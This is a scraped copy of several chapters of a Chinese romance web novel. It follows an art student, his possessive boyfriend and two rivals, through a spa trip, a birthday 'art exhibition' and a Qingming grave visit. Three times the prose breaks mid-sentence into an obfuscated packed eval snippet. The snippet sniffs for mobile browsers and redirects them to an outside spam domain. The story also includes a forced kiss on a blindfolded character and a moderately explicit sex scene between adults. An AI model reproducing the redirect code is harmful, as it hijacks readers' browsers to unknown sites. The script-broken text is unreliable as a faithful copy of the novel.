$(''.inform'').remove(); $(''#content'').append('' 的腿,执着地想要一个答案。 祝惊霜被问烦了,反手给了他一巴掌,声音冷的像冰:“你满意了吗?这是不是你想要的?” “我挣扎了,我说了让你滚,你听了吗?” 脸上火辣辣的痛,赵牧铭抱着他不撒手,语气放软:“你那个学弟一看就对你心思不纯,我只是不想你们接触太多……” “你每天怀疑这么多有意思吗,你如果真的那么不相信我那就……” “分手好了”四个字还没有说出来就被赵牧铭打断:“不要!” “我没有怀疑你不相信你,真的。” “那你还一直干涉我?” 看见祝惊霜脸上的厌烦,赵牧铭愈发心慌:“对不起,我错了,我不是故意的,我以后……” 他咬了咬牙,决定先这次哄好祝惊霜再说:“我保证以后不会再干涉你的交际了。” 祝惊霜沉默几秒,指使道:“去把衣服洗了。” 赵牧铭松了口气,马不停蹄地去了。 祝惊霜揉了揉太阳穴,无声地叹了口气。 其实他本来就没多生气,但说不上是不是因为不在乎赵牧铭,只是他觉得没必要。 没必要生气,赵牧铭的状态明显就不对劲,但他目前还无法判断是因为赵牧铭本身的问题,还是说赵牧铭真的和万则越之前“开玩笑”所说的一样有事情骗了他,所以才会那么激动。 更何况他其实并不反感和赵牧铭接吻,只是有点承受不住对方过于炙热密集的亲吻,也不想在有其他人的情况下进行亲密接触,哪怕隔了一道门。 祝惊霜静静地望了一会儿墙上的挂钟,在心里暗暗下定了决心。 他一定会弄清楚赵牧铭的异常是什么原因的。 …… 有时候人与人之间的缘分就是这么奇妙。 在看见那道颀长的深灰色身影时,祝惊霜脑子里浮现出两个字:孽缘。 他本来想假装没看到绕开走,但下一秒晏恒洲转身看见他,双眼一亮:“祝惊霜!” 这下没法当做没看到了。 祝惊霜微微颔首,当做打了招呼。 晏恒洲丝毫不介意他的冷淡,三步并作二步走到他面前,目光含笑:“没想到假期也能遇到你。” 他的语气轻快,祝惊霜却无端听出几分挑衅的意思,掀了掀眼皮,没说话。 自从上次KTV大冒险那个意外的吻后,他们之间的气氛就一直很僵硬。 或许是心中有愧,晏恒洲明里暗里示好了很多次,但又无法完全拉下脸,每次态度都很别扭。 “你是一个人来的吗?”晏恒洲又问道。 怎么每个人都要问他这个问题。 祝惊霜摇了摇头,边说话边往前走:“不是,是和男朋友来的。” 晏恒洲跟在他身后,主动道:“我是和家人一起来的,今天早上刚到这里。” 正说着话,拐角处迎面碰上一对中年夫妻,男的身着藏青色条纹长袖,女的穿着深褐色毛衣,神色是一比一的严肃。 “爸,妈。”晏恒洲停下脚步,脸上的笑容也变淡了。 15. 偷亲 祝惊霜感觉到晏恒洲浑身的气质瞬间变了,没有了平时在学校里的朝气蓬勃,反而多了几分沉稳。 “这是我的舍友,祝惊霜。”晏恒洲无精打采地互相介绍:“这是我爸妈。” 祝惊霜礼貌地问了好,晏恒洲的父母微笑着回应,看着他目光若有所思。 之后晏恒洲的父母和晏恒洲交谈了几句,字里行间都很客气。 看晏恒洲满脸心不在焉,晏恒洲的父亲又板着脸训斥他成天吊儿郎当没个正形。 晏恒洲全程低眉顺眼,没有反驳任何一句,拳头却悄然攥紧了。 站在一旁的祝惊霜微微蹙起眉。 他在从小到大开的那些家长会里是见过晏恒洲的父母的,印象中他们很在意晏恒洲的成绩,为人也比较古板。 但今天见到他们和晏恒洲说话的氛围后,祝惊霜总觉得有种说不出的奇怪。 哪怕他小时候不在父母身边长大,和父母已经算比较客气生疏的了,也都不会在面对对方时如此紧绷。 和父母分开之后晏恒洲就变得沉默起来,却还是一直跟在祝惊霜身后,垂着眼看他灯光下拉长的影子。 走了一路,祝惊霜终于想到为什么会感觉那么奇怪了,因为晏恒洲的父母对晏恒洲说话时的语气就像是发号命令一样,冷漠到没有一丝温度。 按理来说孩子那么大了说话应该更偏向于商量和讨论,也不适合当着外人的面去斥责。 “你一直跟着我干嘛?” 清冷的声音唤回了晏恒洲的神志,他张了张嘴,却不知道该说什么。 跟着祝惊霜完全是下意识的行为,没有其他理由。 最后他干脆耍无赖:“你凭什么说我跟着你,这条路又不是只有你能走。” 祝惊霜淡淡地瞟他一眼,故意道:“那你离我远点,我怕我男朋友误会。” “你!”晏恒洲气的脖子都红了,完全没了刚才死气沉沉的模样。 说曹操曹操到,祝惊霜的手机响起电话铃声,是赵牧铭打来的。 吃早餐的时候赵牧铭发现自己出来时忘记带手机了,祝惊霜就让他吃完先回去。 赵牧铭在电话里问他吃完没有,又问他等会儿要不要去四楼按摩。 “等会儿要不要去四楼按摩?我记得你这段时间肩膀不太舒服。” 祝惊霜同意了。 按完之后赵牧铭匆匆忙忙说要去洗手间,祝惊霜则戴着眼罩继续躺在椅子上。 正昏昏欲睡之时,他听见有人推开门轻手轻脚地进来了。 祝惊霜以为是赵牧铭,也就没有在意。 耳边窸窸窣窣的声音持续了一会儿,高大的阴影从上方投下,祝惊霜感觉到唇瓣被小心翼翼地碰了碰。 移开,又凑近,这次贴的时间长了一点。 之后反复含住他的唇,还试探性地伸出舌头。 赵牧铭在搞什么呢? 还是说,是以为他睡着了,不想吵醒他? 这么想着,祝惊霜也就这么开口问了。 面前人却好像吓了一跳,整个人都僵住了。 祝惊霜觉得奇怪,想扯下眼罩,却被面前的高大身影按住了。 “赵牧铭?” 祝惊霜试探着开口,却没有得到任何回应,心口顿时一沉。 对方力气很大,祝惊霜完全无法动弹,也不再浪费力气,开始冷静思考对方的目的,以及自己应该怎么反抗和呼救。 但是对方竟然什么都没做,和他僵持了一会儿突然撒手走了。 眼罩里只能看见模模糊糊的阴影消失在门口,直到空气安静了好一会儿祝惊霜才意识到,对方好像真的离开了。 他扯下眼罩,面前空无一人,紧绷的全身微微放松下来,才发现自己后背满是冷汗。 那个人会是谁? 万则越?晏恒洲?还是其他人? 就在此刻,门外响起脚步声。 祝惊霜没照镜子都知道自己现在会是什么样,衣服在挣扎间变得凌乱,还微微红肿的唇瓣被舔吮的更加肿胀,眼里积着生理性的泪水。 脚步声越来越近,他看向门口—— …… “你怎么戴着口罩?” 赵牧铭推开门,疑惑地看着祝惊霜。 祝惊霜轻咳一声,语气平静:“感觉有点感冒。” 他怀疑过是万则越,也怀疑过是晏恒洲故意整自己,只有赵牧铭是他心里第一个排除嫌疑的人。 祝惊霜一开始没有挣扎就是因为以为对方是赵牧铭,所以赵牧铭在听见他喊自己名字后完全没有必要伪装成其他人。 赵牧铭的表情瞬间变得紧张起来:“怎么就感冒了?是不是昨晚着凉了?” 他皱着眉拿出手机:“这附近好像没有药店,我问问前台有没有感冒药。” “不用。”祝惊霜拦住他,口罩遮住了大半张脸,露出一双明亮的黑眸:“不严重,明天应该就好了。” “不行。”赵牧铭意外地执拗,坚持打了电话去问,听见对方说有才松了一口气。 他有些自责:“我出来应该提前准备好药的。” 祝惊霜沉默几秒,最后选择转移话题:“你刚刚怎么出去了那么久?” “我也不想,我和你说我刚刚有多倒霉……” 原来赵牧铭刚刚在洗手间被路过的清洁机器溅了一身水,只好回去换了身衣服。 祝惊霜这才发现赵牧铭身上的衣服不是早上出来的那一套。 “我有给你发消息的,你是不是给我设置了免打扰?”赵牧铭抱着他坐下,凑在他耳边吸了口气,调笑道:“你身上好香啊。” 祝惊霜的皮肤很白,耳垂更是如同一块小巧的白玉,随着他的凑近又泛起淡淡的红,漂亮极了。 “没看手机。”祝惊霜拿出手机,发现赵牧铭确实给自己发了消息,只是他当时戴着眼罩在闭目养神,所以没有看见。 沉思了一会儿,祝惊霜又问道:“你刚刚有看见谁从这里出去吗?” 他习惯遇到事情先尝试自己解决,所以暂时没准备把刚刚的事情告诉赵牧铭。 更何况按照赵牧铭的性格,他也怕他冲动之下做下无法挽回的举动。 赵牧铭目露茫然:“什么人?我没看见。” 随后又警觉道:“刚刚有人进来了吗?” “没事。”祝惊霜摇了摇头,挪开赵牧铭搂着自己腰的手:“我去一趟洗手间。” 洗手间里空无一人,祝惊霜对着镜子摘下口罩,擦了擦脸,顺便整理了一下凌乱的衣襟,基本恢复了那幅冷淡的姿态。 出去后赵牧铭的目光几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403490|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是立刻落在了祝惊霜红润的唇上,心里暗暗怀疑,自己亲的有那么过分吗? 祝惊霜注意到他的视线,先发制人道:“都是你,我现在一碰都疼。” 他自己觉得自己语气很是冷淡,赵牧铭听着却只觉得他是在撒娇,看见那秀气的眉蹙起,整颗心都像是泡在水里一样酸软,再想不起其他,只想把面前人抱在怀里哄。 应付完赵牧铭,祝惊霜拿出手机点开和万则越的对话框,想问又不知道怎么开口,最后点进了对方的朋友圈。 最新一条是今天早上发的,是一张日出的风景照,看角度应该是在水疗馆后面的桥上拍的。 这时弹出了一条新消息: 【万则越:怎么了?】 祝惊霜切回聊天页面,才发现自己刚才点进万则越朋友圈的时候不小心点到了拍一拍。 见他没回,万则越继续发: 【万则越:怎么了怎么了怎么了?】 【万则越:祝惊霜?】 祝惊霜纤长白皙的手指在屏幕上戳了戳: 【祝惊霜:你现在在哪?】 消息刚发出去几秒,对面突然打了个视频通话过来。 祝惊霜下意识挂断,扣了个问号过去。 【祝惊霜:?】 【万则越:你不是问我在哪吗,我想着开视频给你看不是更好】 【万则越:我在旁边的市集】 【万则越:[图片]×3】 【万则越:你看看有没有什么想要的?】 【万则越:我带回去给你】 祝惊霜在心里推算了一下从这里过去市集的时间,就刚刚那个男人离开的时候算不太来得及,应该不是他。 【祝惊霜:没有,不用】 这个排除了,祝惊霜点开下一个人的对话框,直截了当发到: 【祝惊霜:你现在在哪?】 没等他收到回复,万则越又继续消息轰炸: 【万则越:真的没有喜欢的吗?】 【万则越:那你有没有什么其他想要的,我找找有没有】 【万则越:不用和我客气】 祝惊霜随手划掉,没有理他。 与此同时,晏恒洲的回复也发了过来。 【晏恒洲:?怎么了】 【晏恒洲:你要来找我吗?】 【晏恒洲:这不好吧?你男朋友不会误会吗?】 祝惊霜险些被气笑了,晏恒洲还记着他早上说的话,现在又阴阳怪气地还了回来。 【祝惊霜:你就说你现在在哪。】 这次显示“对方正在输入中”好一会儿才弹出新消息。 【晏恒洲:泡温泉,你要来吗?】 祝惊霜琢磨着应该不是晏恒洲,他了解晏恒洲,如果是晏恒洲做的,他说话不会这么理直气壮。 【祝惊霜:不】 最后回完一个字,祝惊霜就放下了手机。 其实想知道那个人是谁还有一个最简单便捷的办法,那就是查监控。 祝惊霜避开赵牧铭,以落下东西为理由去查监控,却发现刚好被强吻的那段时间里监控短路了。 只坏了那一小会儿,前后都没问题。 祝惊霜静静地注视着屏幕,半晌微笑着对工作人员道了谢,起身离开。 16. 画展 来的时候是下雨天,返程时倒是艳阳天。 一月份的天气寒冷,哪怕站在阳光下那种毒蛇般的湿冷感依旧驱逐不散。 后面的几天祝惊霜没再遇到万则越和晏恒洲,这家水疗馆说大不大,说小不小,刻意想避开一个人的时候也不需要多费多少心思。 几天没有开车了,赵牧铭先把窗开了透气,过了一会儿觉得味道散的差不多了才喊祝惊霜上车。 祝惊霜打开车门,脸被冻的微微发白,他今天穿了一件棉袄,衣领是青绿色的,两个雪白的小球垂在胸前。 车里暖气很足,赵牧铭浑身发热,随手点开一首歌。 ——“假如把犯得起的错 能错的都错过 应该还来得及去悔过……”① 舒缓的音乐声中,赵牧铭用余光偷看身旁人雪白的侧脸和线条流畅下颚,故作随意地开口:“你生日好像是明天吧,今年准备怎么过?” 祝惊霜跟着音乐的节奏有一搭没一搭地轻轻敲着安全带,漫不经心道:“中午和朋友出去玩,晚上回家和父母一起吃饭。” 曾经生日时许的愿望没有灵验,最亲近的人也离去了,他其实不是很喜欢过生日。 但他不想让还在人世爱自己的人失望。 赵牧铭心一沉,想到自己的安排有些着急地问:“那我呢?你的安排里怎么没有我。” 祝惊霜疑惑地侧头看了他一眼:“我们不是天天都待在一起吗?就没必要专门再见了吧。” 赵牧铭奇异地被哄好了。 在祝惊霜心里他已经是默认存在于他的生活,所以不用另外安排。 尽管生日这种重要的日子是不一样的,但祝惊霜就是这样不浪漫,他也不是第一次知道了。 说话间汽车音响放到了下一首歌,是《小幸运》。 ——“我听见雨滴落在青青草地 我听见远方下课钟声响起……” 没办法,赵牧铭只好改变了原本的计划,有些忐忑地问:“那今天呢?回去之后你有没有时间?” “今天?”祝惊霜终于听出他是有事要找自己了:“今天有时间。” 赵牧铭松了口气,如果今天祝惊霜也没空那他真的不知道该怎么办了。 “我等会儿想带你去个地方……” 就在他开口说话时,音乐声突然先后重复响起: ——“原来你是我最想留住的幸运,原来我们和爱情曾经靠得那么近……” ——“原来你是我最想留住的幸运,原来我们和爱情曾经靠得那么近……” 赵牧铭下意识皱起眉,以为是音响坏了,却看见祝惊霜拿出手机接了电话。 原来后面重复的那一句是祝惊霜的电话铃声。 “你到哪儿了?要不要我去接你?”电话那头,贺栩樾刚从厨房出来,一边甩干手上的水珠,一边夹着手机问。 祝惊霜看了一眼赵牧铭,垂眸低声道:“怎么了?你晚上有什么事?” “什么什么事?”贺栩樾没听懂:“就和之前一样啊,你不是旅游回来吗,我做了你爱吃的菜,等你回到刚好可以吃了。” 祝惊霜没有开外放,赵牧铭不知道电话那头说了什么,但他从祝惊霜问的话里大概猜出对方今晚也要找祝惊霜。 这时刚好碰上红绿灯,赵牧铭踩了刹车,扭头看向祝惊霜,忍不住开口叫了一声他的名字:“祝惊霜。” 贺栩樾似乎听见了这边的动静,再想到祝惊霜是和赵牧铭一起去旅游的,终于反应过来。 情侣旅游回来要继续去约会再正常不过了,是他还没习惯。 还没习惯那些默认他和祝惊霜相处的时刻被另一个人占据。 贺栩樾想起经常刷到的那些不想朋友谈恋爱的帖子,他之前每次刷到都无法理解,现在终于明白了。 在祝惊霜沉默的这几秒,贺栩樾脸上的笑容逐渐淡下来,厨房里电饭煲发出“扑扑”的声音,他不想祝惊霜为难,故作轻松道:“怎么?你有其他安排了?那可惜了,牛排和鲍鱼只能我一个人独享了。” 他刻意说的像炫耀,让祝惊霜忍不住笑了一声:“那你独享吧,别吃太撑了,晚上回来给你带健胃消食片。” 挂断电话之后,祝惊霜扭头,唇角还残留着笑意:“你要带我去哪?” 看见祝惊霜选择了自己,赵牧铭却并没有如自己预想中那样高兴,盯着他看了一会儿,才说:“艺术展。” …… 说是艺术展,赵牧铭却将车停在了一家咖啡馆门口。 咖啡馆的配色是咖色配白色,门上的logo是一朵透明的云,里面盛着咖啡,整体风格简约又温馨。 店门口挂着暂停营业的牌子,赵牧铭掏出钥匙打开门,边回头和祝惊霜解释:“这是我表哥开的店,今天借用半天。” 门一开,祝惊霜就闻到了浓郁醇厚的咖啡香。 老板是个年轻男人,应该就是赵牧铭的表哥,出来和他们打了声招呼就回后厨了,把空间留给他们两个人。 咖啡馆里放着节奏轻快的乐曲,昏黄的灯光酝酿出朦胧的氛围。 一转身,祝惊霜就愣住了。 他想过赵牧铭可能是为自己生日准备了礼物,但没想到赵牧铭会选择直接办一场“艺术展”。 独属于他的艺术展。 墙上粘着五颜六色的气球,沙发上放着大大小小的木制画架,上面摆放着无数作品,每一幅画旁边都放着一张小卡片,卡片上还写了字。 祝惊霜走近,随手拿起一张卡片。 ——今天你说这杯奶茶不好喝,但是好看,所以你要画下来。 他微微弯眉,又拿了另一张卡片。 ——这是你画的,雨后的鲜花。 祝惊霜放下卡片:“你哪来那么多我的画?” “大概就是我有魔法吧。”赵牧铭故弄玄虚。 他有很多祝惊霜的画,不管成图还是废稿。 平时祝惊霜经常会在画室练习,赵牧铭没课的时候都会陪他一起,还自告奋勇帮忙处理废稿和清扫场地。 到期末,祝惊霜还会额外清理一些不方便带回去的画,而这些都被赵牧铭全部偷偷保存了下来,有些不方便保存的,就拍下照片分类整理。 看着那一张张熟悉的画卷,祝惊霜仿佛能回想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403491|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起画每一张画时的场景,以及总是坐在角落里安静陪着自己的赵牧铭。 除了画架之外,沙发上还摆着各种各样的制品,明信片、冰箱贴、书签……应有尽有,全都印着图案。 赵牧铭搭配地恰到好处,祝惊霜看了好一会儿才认出,那些图案都是自己画的。 见祝惊霜一直不说话,赵牧铭有些忐忑地把桌子上的白纱掀开,小心翼翼道:“生日快乐,我不知道你喜欢什么,就买了你常用牌子的颜料,还有一些工具,不知道你能不能用得上。” 祝惊霜常用的工具家里都有囤,颜料倒是没有攒太多,不然时间久了就用不了了,他迎上赵牧铭的目光,声音很轻:“谢谢你。” 他又加重语气肯定对方的付出:“用得上。” “那就好。”赵牧铭松了一口气,又变戏法一般从身后抱出一大束花出来,不好意思道:“我记得你喜欢白山茶,本来想送白山茶的,但是问了好几个花店都说没有……” “没关系。”祝惊霜接过花束,微弯的眉眼在鲜花的衬托下分外缱绻。 祝惊霜以为礼物就是这些了,却看见赵牧铭掏出一个投影仪,手忙脚乱地捣鼓了一会儿。 画面上出现了祝惊霜那张清俊漂亮的脸,放大看依旧没有任何瑕疵,在朦胧的光线下美的惊人。 祝惊霜抬头注视着自己在画室里的无数个小片段,也是这时候才发现,原来赵牧铭的视角里,自己那样……鲜活。 或许这个词语不够准确,但他想不出怎么去形容,画面里记录了自己的一瞥一笑,包括每一次因为画错而蹙起的眉,每一次画完会微微勾起的唇。 这个视频不长,但能看出剪辑的人花了很多心思,看完后祝惊霜环顾了一圈四周,忽然想起了什么:“怎么没有上次我送你的那幅画?” “那幅画,我想留着下一次。” 赵牧铭双眼发亮地看着他:“我不知道你愿不愿意给别人围观,所以这次找了私人场地布置,如果你愿意公开,下一次展览我会是第一个观众。” 祝惊霜眼尾一睨:“再说吧。” …… 在这场小型的美术展结束以后,赵牧铭抱着手机一张一张翻着照片,边看边笑。 他拍了很多祝惊霜的照片,还让表哥帮忙拍了他和祝惊霜的合照,在按下快门前的最后一秒侧头亲吻了祝惊霜的侧脸。 祝惊霜的脸凉凉的,很软。 出来时天已经完全黑了,冬夜的寒风刺骨,在路灯的照耀下树干的阴影像一张张张牙舞爪的鬼脸。 赵牧铭在车上搂着祝惊霜亲了又亲,从唇瓣闻到耳垂,一下一下啄着,仿佛永远也亲不够。 “够了。”祝惊霜好不容易才把他扒开一点,无奈道:“都几点了。” 赵牧铭继续把头埋在他的肩颈,嗅着他身上淡雅的清香,低沉的声音含糊:“要不别回去了……” “不回去我去哪?去你家?还是去酒店?”祝惊霜轻笑一声,睥睨又高傲。 听出他话语里的意思,赵牧铭猛地抬起头,一双眼睛瞪的很大,震惊中带着喜悦,说话都开始结巴:“都,都可以,你想去哪都行。” 17. 礼物 夜色迷离,车窗外五彩斑斓的光线飞速掠过,两边街景不断倒退。 赵牧铭把车开的很快,心脏在胸膛里加速跳动着,全身血液仿佛都沸腾起来。 坐在他身边的祝惊霜却截然不同——此刻祝惊霜的面容依然清冷而平静,正低着头发消息。 手机屏幕上的光打在他沉静的脸上,细长的眼睫落下一层阴影。 【麻烦精:我今晚不回去了】 【麻烦精:带不了健胃消食片给你了】 【麻烦精:你自己买吧】 手机上显示正在输入中很久,才跳出新消息,依然是开玩笑一般的语气: 【讨厌鬼:有了男朋友就是不一样啊】 【讨厌鬼:家都不回了】 【讨厌鬼:我只能独守空房喽】 祝惊霜没看见的另一边,贺栩樾看着桌上已经凉透的饭菜,苦笑一声。 骗你的,我根本不需要健胃消食片。 等确定祝惊霜不会再回复,贺栩樾才放下手机,起身把桌上的饭菜都收起来,留着明天再吃。 …… 明明没有喝酒,赵牧铭却觉得自己已经醉了。 祝惊霜身上的香味一股一股往他鼻尖里钻,并不浓烈,却给人带来一种微醺的错觉。 黑暗中无边的暧昧发酵蔓延,分开时唇齿间拉出银丝,祝惊霜轻轻喘着气,还没休息几秒又被拉入下一轮纠缠。 “你也有感觉了……”赵牧铭咬着他的耳朵,眼底暗沉。 祝惊霜喘息着说不出话,眼尾泛着绯红水光。 数不清是第几次接吻,赵牧铭吻的依旧很凶,仿佛要将他整个人都吞吃入腹一般。 说不出是不是因为对赵牧铭用心准备的生日礼物很满意,祝惊霜并没有怎么挣扎,手掌攀附着对方的肩膀,仰着头连口水都来不及吞咽。 在最后关头,赵牧铭竟然还能及时停下,尚存着一丝理智,红着眼睛喘着粗气道:“你明天生日,不是说上午要和朋友出去玩?” 祝惊霜在他身下微微痉挛着,漆黑的鬓角已经被汗浸湿,大开的衣领露出雪白的肌肤,湿漉漉的红唇微微张开,声音依旧矜傲而冷淡:“少废话,做不做,不做我走了。” 下一秒,他被赵牧铭突然的动作激地发出一声惊喘,漆黑的睫毛如鸦羽般颤动。 低沉的男声在他耳边响起,温热的气息吐在耳畔:“我先说好,我没那么快结束。” 祝惊霜的脑海中一片空白,在激烈的冲撞下难以保持冷淡的神色,攀附着身上人的手好几次都无力地滑落。 情到浓时,赵牧铭望着他湿红的眼尾,情不自禁俯下身去吮掉他的泪珠。 没有人有心思去注意时间,这时闹钟响起,赵牧铭停下动作,轻轻将祝惊霜脸颊两侧的碎发别到耳后,声音温柔:“小霜,生日快乐。” …… 赵牧铭说没那么快结束,就真的过了很久才放过祝惊霜。 惦记着祝惊霜第二天还有事,赵牧铭已经努力克制了 结束时外面完全黑透了,厚重的窗帘外传来寒风吹动枝叶的声响。 祝惊霜困的睁不开眼,露出的雪白肌肤上染着大片大片的吻痕,仿若雪地里绽开的红梅。 赵牧铭抱着他去洗手间清理,全程耐心又细心,和刚才在床上判若两人。 “赵牧铭……” “嗯?”赵牧铭立刻把耳朵贴过去,神色是饱腹后的餍足。 朦胧的雾气勾勒出祝惊霜勾魂摄魄的面容,他闭着眼睛,红润的唇微微动了动:“……我的生日礼物,你准备了多久?” “也没有很久。”赵牧铭刚刚在床上都没有脸红,现在倒是不好意思起来:“就,大概几个月吧,就是瞒着你收集你的作品比较耗时间,其他倒是没什么。” 祝惊霜沉默了好一会儿,赵牧铭甚至都以为他睡着了,却又听见他开口,声音很轻:“谢谢你,我很喜欢这个礼物。” 赵牧铭眼底染上笑意,抱着他回到床上,低头亲吻他的眼睛:“你喜欢就好。” 他细致地把背角掖好,关了灯:“睡吧,别定闹钟了,明天我喊你起床。” 黑暗模糊了视线,祝惊霜睁开眼,望着眼前朦胧不清的人影,忽然开口:“你有没有什么想要的?” 赵牧铭愣了一下,随后笑着,开玩笑一般道:“我想要你说爱我。” 他在床上床下说过很多次爱,祝惊霜会回应他,但从来没有主动说过。 有时候他会想,是不是哪怕在一起那么久的人是他,祝惊霜也只会爱万则越,而不是他这个冒牌货。 这太简单了,祝惊霜毫不犹豫地说:“我爱你。” 黑暗中赵牧铭满足地笑了,起码这一刻,祝惊霜说的这句爱只属于他。 困意过头,祝惊霜反而清醒过来,他躺在赵牧铭的怀里,再一次开口:“那天晚上你误会的那些事情,我会告诉你的。” “你……等我一段时间。” 身后赵牧铭脸上的笑容瞬间消失,他根本不知道祝惊霜提过很多次的那天晚上具体发生了什么。 和祝惊霜一起经历那天晚上的人根本不是他。 “嗯。”赵牧铭把手搭在祝惊霜的腰上,声音仿佛是从喉咙里挤出来的一般:“先睡觉。” …… 转眼到了大三下学期,早春的风依旧带着潮湿的阴凉,被雨水冲刷过的校园透着明媚的生机。 “好快啊,明年就要毕业了。” 已经四月初,回宿舍的路上,方宸搭着祝惊霜的肩感叹:“我总感觉我昨天才入学。” “都当了多久学长了。”祝惊霜轻瞥他一眼,眸光沉静如水。 方宸不好意思地挠了挠头:“那是社团的人瞎喊的。” 看着明亮的天色,想起一会儿吃完晚饭还要上晚课,他又悲从中来,夸张地捂着心口哀嚎:“天色那么亮,我的心里却一片黑暗,不想上晚课啊。” 祝惊霜被他逗笑,眉眼微弯:“没事,这个老师一般都会提前下课。” 傍晚十分,晚霞在天边铺开,广播里放着悠扬的音乐。 吃完饭后,祝惊霜撑着阳台的栏杆往外看,像一只慵懒的猫,日落的余晖将他的睫毛染成金色。 广播里的歌放到了下一首,沉静的旋律响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403492|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,他垂下眼帘,刚才的惬意荡然无存。 ——“蓝色的背后是纯净……”① 身后传来开门的声音,光从脚步声祝惊霜就听出是晏恒洲。 ——“如果云层是天空的一封信 能不能再听一听 听你的声音……”② 晏恒洲看见祝惊霜以后愣了一下,耳边听见广播里放的歌,罕见地没有开口讨嫌。 如果是平常,他早就开口找茬了。 ——“跟着潘彼得去无人岛旅行 我不会怪你的 天空一望无际 是海洋的倒影……”③ 看着祝惊霜单薄修长的背影,晏恒洲的目光闪了闪。 其实四舍五入他和祝惊霜也算半个竹马,虽然关系并不好,甚至算得上恶劣,但到底也是认识那么多年。 晏恒洲至今都记得,初一的时候,一向风雨无阻勤奋好学的祝惊霜罕见地请了一周假。 听人说,是家里有人去世了。 祝惊霜回来以后瘦了一大圈,他本就纤瘦,那段时间更是瘦到仿佛风一吹就能吹走一般。 晏恒洲知道祝惊霜有一个哥哥,从幼儿园开始祝惊霜的哥哥每天下午都会来接他回家。 而这次祝惊霜返校之后,晏恒洲再也没看见过他哥哥骑着自行车来接他。 祝惊霜的父母从这一年开始定居下来,陪伴在他身边,每天都会开车接他放学。 晏恒洲那时候也还小,说话比现在更不过脑,有一次放学看见祝惊霜弯着腰收拾书包,随口说了一句:“好像很久没见你哥来接你了。” 那是晏恒洲第一次在祝惊霜的脸上看见那样的眼神。 漆黑的仿佛一潭死水,明明那样平静,却又让人觉得所有沉重的情绪都沉淀在里面。 祝惊霜的表情幅度不大,他只是微微垂着眉,轻声说,他没时间。 不知道为什么,晏恒洲无端感觉,祝惊霜好像下一秒就要哭出来了。 祝惊霜也会流泪吗? 晏恒洲知道只要是人就会有七情六欲,会哭会笑,可是他从来没见过祝惊霜流泪。 祝惊霜在他面前永远是高傲的,骄矜的,冷漠无情的,高高在上的。 那时候的晏恒洲依然懵懵懂懂,却无师自通地学会了闭嘴,从此再也没有提过祝惊霜的哥哥。 …… 晚上打电话的时候,赵牧铭没说几句就察觉了不对劲:“你是不是心情不好?” 祝惊霜淡淡地“嗯”了一声。 赵牧铭立刻紧张起来:“怎么了?是有什么事情?” 他当机立断:“我现在去找你。” “别。”祝惊霜怕他真的一冲动直接过来:“不是什么大事,我……” 他想了一下怎么组织语言,最后还是说:“我现在没想好怎么和你说。” 不等赵牧铭反应,他又问:“你还记得,我们在一起前一晚的那次吵架吗?” 这次轮到赵牧铭沉默了一会儿才开口,嗓音低哑:“记得。” “你当时问我那是不是我的初恋白月光,我说不是,你不信。” 18. 清明 祝惊霜的语气平静,像是在讲述别人的故事。 赵牧铭低低地“嗯”了一声。 阳台的灯光昏暗,祝惊霜张了张嘴,还是说不出口,无声地叹了口气,细长的睫毛轻颤着落下一道弧形的阴影:“算了。” 第二天是四月三日,清明假期前一天。 最后一节课快下课的时候天上开始下雨,淅淅沥沥的雨点噼里啪啦砸在玻璃窗上,祝惊霜侧头看向窗外。 细细密密的雨丝倾斜着落下,世间万物在雨水的冲刷下仿若化为一副浓墨重彩的油画卷。 赵牧铭下午只有一节课,已经提前收好东西等在楼下了。 祝惊霜的情绪看起来依旧不高,下来时一句话也没说。 大滴大滴的雨水砸在伞面上,赵牧铭微微侧头,看见身旁人如雕刻般精致的侧脸轮廓。 祝惊霜今天穿了一件黑色的风衣外套,领口露出的脖颈如雪一般白。 一阵风拂起,潮湿的空气里有几缕雨丝飘到伞下,赵牧铭把雨伞往祝惊霜那边又倾斜了一点。 赵牧铭一路上都安安静静,只在分别前抱了祝惊霜一下,在他耳边低声道:“你别难过。” 他不知道祝惊霜和万则越那天晚上发生了什么,但他感觉祝惊霜在难过。 风衣下祝惊霜的手臂颤了颤,随后抬起回抱住他,清冽的声音在雨声里多了几分模糊:“等假期回来,我就和你解释。” …… 在祝惊霜的记忆里,每年的清明节好像都会下雨。 撑着伞跟着父母来到墓碑前,望着照片上熟悉的面容,祝惊霜忽然有些恍神。 他哥哥去世时才十七岁,而他现在已经二十一岁了。 转眼间,他甚至比他哥还要大了四岁。 扫完墓,照例是父母先回去,祝惊霜留下来和哥哥单独说一会儿话。 雨停了,耳边只剩下猎猎风声,祝惊霜刚张口,眼眶就不自觉红了:“哥。” 他已经好久没有叫出这个称呼了。 